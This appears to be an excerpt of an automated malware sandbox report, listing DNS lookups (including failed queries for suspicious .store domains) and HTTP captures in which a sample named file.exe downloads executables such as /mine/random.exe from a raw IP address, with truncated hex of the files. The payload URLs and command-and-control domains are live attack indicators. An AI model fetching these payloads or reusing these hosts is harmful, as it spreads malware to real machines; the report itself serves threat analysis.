Nov 1, 2024 05:53:35.040251970 CET	1.1.1.1	192.168.2.5	0x774a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:35.040251970 CET	1.1.1.1	192.168.2.5	0x774a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:37.126019001 CET	1.1.1.1	192.168.2.5	0x1c26	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:37.126019001 CET	1.1.1.1	192.168.2.5	0x1c26	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:37.126019001 CET	1.1.1.1	192.168.2.5	0x1c26	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:37.140467882 CET	1.1.1.1	192.168.2.5	0x3f26	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:37.156126976 CET	1.1.1.1	192.168.2.5	0x7da8	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 05:53:37.816880941 CET	1.1.1.1	192.168.2.5	0x4ecc	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:55.878966093 CET	1.1.1.1	192.168.2.5	0xbfa	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:55.878966093 CET	1.1.1.1	192.168.2.5	0xbfa	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:56.804127932 CET	1.1.1.1	192.168.2.5	0x5bc2	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:56.804928064 CET	1.1.1.1	192.168.2.5	0x9837	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:56.804928064 CET	1.1.1.1	192.168.2.5	0x9837	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:56.808775902 CET	1.1.1.1	192.168.2.5	0x617d	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:56.808775902 CET	1.1.1.1	192.168.2.5	0x617d	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:56.966063976 CET	1.1.1.1	192.168.2.5	0x8e9b	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:56.966368914 CET	1.1.1.1	192.168.2.5	0xb2e0	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.063910007 CET	1.1.1.1	192.168.2.5	0x76e9	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.123539925 CET	1.1.1.1	192.168.2.5	0xc378	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.165005922 CET	1.1.1.1	192.168.2.5	0xc378	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.730483055 CET	1.1.1.1	192.168.2.5	0x7104	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.828730106 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.850827932 CET	1.1.1.1	192.168.2.5	0x87c3	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.869132042 CET	1.1.1.1	192.168.2.5	0x244b	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.891864061 CET	1.1.1.1	192.168.2.5	0x72a8	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:58.849498987 CET	1.1.1.1	192.168.2.5	0xb827	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:58.849498987 CET	1.1.1.1	192.168.2.5	0xb827	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:58.849498987 CET	1.1.1.1	192.168.2.5	0xb827	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:58.857959032 CET	1.1.1.1	192.168.2.5	0xc00b	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497457981 CET	1.1.1.1	192.168.2.5	0x91da	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497678041 CET	1.1.1.1	192.168.2.5	0x32aa	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497678041 CET	1.1.1.1	192.168.2.5	0x32aa	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497689009 CET	1.1.1.1	192.168.2.5	0x4af8	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:54:00.497689009 CET	1.1.1.1	192.168.2.5	0x4af8	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.506165981 CET	1.1.1.1	192.168.2.5	0x7322	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.509443998 CET	1.1.1.1	192.168.2.5	0x4d9	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.516366959 CET	1.1.1.1	192.168.2.5	0xaac5	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.516376972 CET	1.1.1.1	192.168.2.5	0xd8a4	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 05:54:00.516376972 CET	1.1.1.1	192.168.2.5	0xd8a4	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 05:54:00.516376972 CET	1.1.1.1	192.168.2.5	0xd8a4	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 05:54:00.516376972 CET	1.1.1.1	192.168.2.5	0xd8a4	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 05:54:00.520354986 CET	1.1.1.1	192.168.2.5	0xb3d3	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 1, 2024 05:54:00.524372101 CET	1.1.1.1	192.168.2.5	0x8e5f	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 1, 2024 05:54:00.525856018 CET	1.1.1.1	192.168.2.5	0xf72d	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:54:00.525856018 CET	1.1.1.1	192.168.2.5	0xf72d	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.525856018 CET	1.1.1.1	192.168.2.5	0xf72d	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.525856018 CET	1.1.1.1	192.168.2.5	0xf72d	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.525856018 CET	1.1.1.1	192.168.2.5	0xf72d	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.527753115 CET	1.1.1.1	192.168.2.5	0xa456	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.533308029 CET	1.1.1.1	192.168.2.5	0xe6d6	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.533308029 CET	1.1.1.1	192.168.2.5	0xe6d6	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.533308029 CET	1.1.1.1	192.168.2.5	0xe6d6	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.533308029 CET	1.1.1.1	192.168.2.5	0xe6d6	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.535178900 CET	1.1.1.1	192.168.2.5	0xa199	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:19.966650963 CET	1.1.1.1	192.168.2.5	0xbb34	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:54:19.966650963 CET	1.1.1.1	192.168.2.5	0xbb34	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:20.422086000 CET	1.1.1.1	192.168.2.5	0x8e28	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:20.601176023 CET	1.1.1.1	192.168.2.5	0x92a7	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:21.187844992 CET	1.1.1.1	192.168.2.5	0x46f7	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:24.164371967 CET	1.1.1.1	192.168.2.5	0x3069	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:54:24.164371967 CET	1.1.1.1	192.168.2.5	0x3069	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:24.165321112 CET	1.1.1.1	192.168.2.5	0x47c8	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:54:24.165321112 CET	1.1.1.1	192.168.2.5	0x47c8	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:24.165321112 CET	1.1.1.1	192.168.2.5	0x47c8	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:24.165321112 CET	1.1.1.1	192.168.2.5	0x47c8	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:24.165321112 CET	1.1.1.1	192.168.2.5	0x47c8	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:24.173042059 CET	1.1.1.1	192.168.2.5	0xf0e2	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 1, 2024 05:54:36.783083916 CET	1.1.1.1	192.168.2.5	0x5cb1	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:37.440601110 CET	1.1.1.1	192.168.2.5	0xa954	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:54:37.440601110 CET	1.1.1.1	192.168.2.5	0xa954	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:49.853288889 CET	1.1.1.1	192.168.2.5	0xec20	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:54:49.853288889 CET	1.1.1.1	192.168.2.5	0xec20	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:49.862149954 CET	1.1.1.1	192.168.2.5	0x7f38	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:55:19.085232019 CET	1.1.1.1	192.168.2.5	0x1c14	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:55:19.106331110 CET	1.1.1.1	192.168.2.5	0x1c14	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:55:38.454626083 CET	1.1.1.1	192.168.2.5	0x71ce	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:55:39.078042030 CET	1.1.1.1	192.168.2.5	0x4298	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:55:39.078042030 CET	1.1.1.1	192.168.2.5	0x4298	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	185.215.113.16	80	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:52:18.794879913 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:52:19.709877968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:52:19 GMT Content-Type: application/octet-stream Content-Length: 2778624 Last-Modified: Fri, 01 Nov 2024 04:00:31 GMT Connection: keep-alive ETag: "6724525f-2a6600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +kx`Ui` @ @.rsrc`2@.idata 8@cfyesryy :@gwntuilp @@.taggant@"D*@
Nov 1, 2024 05:52:19.709933996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:52:19.709944963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:52:19.709955931 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:52:19.710114002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:52:19.710124969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:52:19.710135937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:52:19.710190058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:52:19.710201025 CET	1236	IN	Data Raw: 5e 30 b0 cb b5 ae ca 7f c5 09 c1 ca 78 dc cd ba 6b 98 ec 34 43 a6 fc 67 89 09 4d a3 2a c3 c5 7a 95 3d ed e4 75 f2 1b a9 64 97 9c 89 9c f8 c8 9b 5a 1c a4 48 c0 b7 dd 4d 2d c2 23 25 98 70 7d 58 b7 c4 22 8d 1a 3b 4b d3 27 a3 e9 82 30 42 0e e5 c8 f2 Data Ascii: ^0xk4CgM*z=udZHM-#%p}X";K'0Br+0v/wj5-%F(.E._}ro#Cf_<"4(hn9a4u!-?Z/{ra?0STc\TB"y'"
Nov 1, 2024 05:52:19.710211992 CET	1236	IN	Data Raw: 8c d4 2f 5e b6 bf f0 83 b4 3f 23 79 b2 93 21 ab 8e d7 d0 94 d6 e6 0e a2 ab 56 17 be 7b d9 ba 9b 6b 46 ce 96 8e ed dd a7 4e 97 f8 bd ec d2 bf 9e a4 d3 f6 6d 6f e6 e5 9c 8b b4 ba 94 7c 71 cc 8a 88 6a e1 7c 79 fc d5 b8 3e 14 b7 6b 8b ad 32 1e dc 8d Data Ascii: /^?#y!V{kFNmo\|qj\|y>k2ou^nb"W{,-p@8DrP15XW}7Evvjdr(//o!&MT$\|$&K,A#:~NNlqzf>
Nov 1, 2024 05:52:19.715866089 CET	1236	IN	Data Raw: 86 15 03 54 bf cd e8 d1 18 e2 0c 32 36 c2 78 1a e9 1a 15 ad 23 03 7b d2 c6 50 c9 a1 bf 00 04 d0 9a 06 12 ac 6e 46 f7 d6 af 5c 6f a4 6b 29 f4 f3 72 07 ec cf c5 da 52 a2 f2 55 7f 58 73 04 60 67 1f c9 f8 bb a3 df f5 ce c8 f7 c9 bc 54 97 23 a3 7f e1 Data Ascii: T26x#{PnF\ok)rRUXs`gT#bCvi.8{:p}yt]oOUL\+q5:g=i.1V"ND/Vg] xxJ_2KqO9rV
Nov 1, 2024 05:52:26.426333904 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:52:26.710685968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:52:26 GMT Content-Type: application/octet-stream Content-Length: 1917440 Last-Modified: Fri, 01 Nov 2024 04:44:30 GMT Connection: keep-alive ETag: "67245cae-1d4200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS 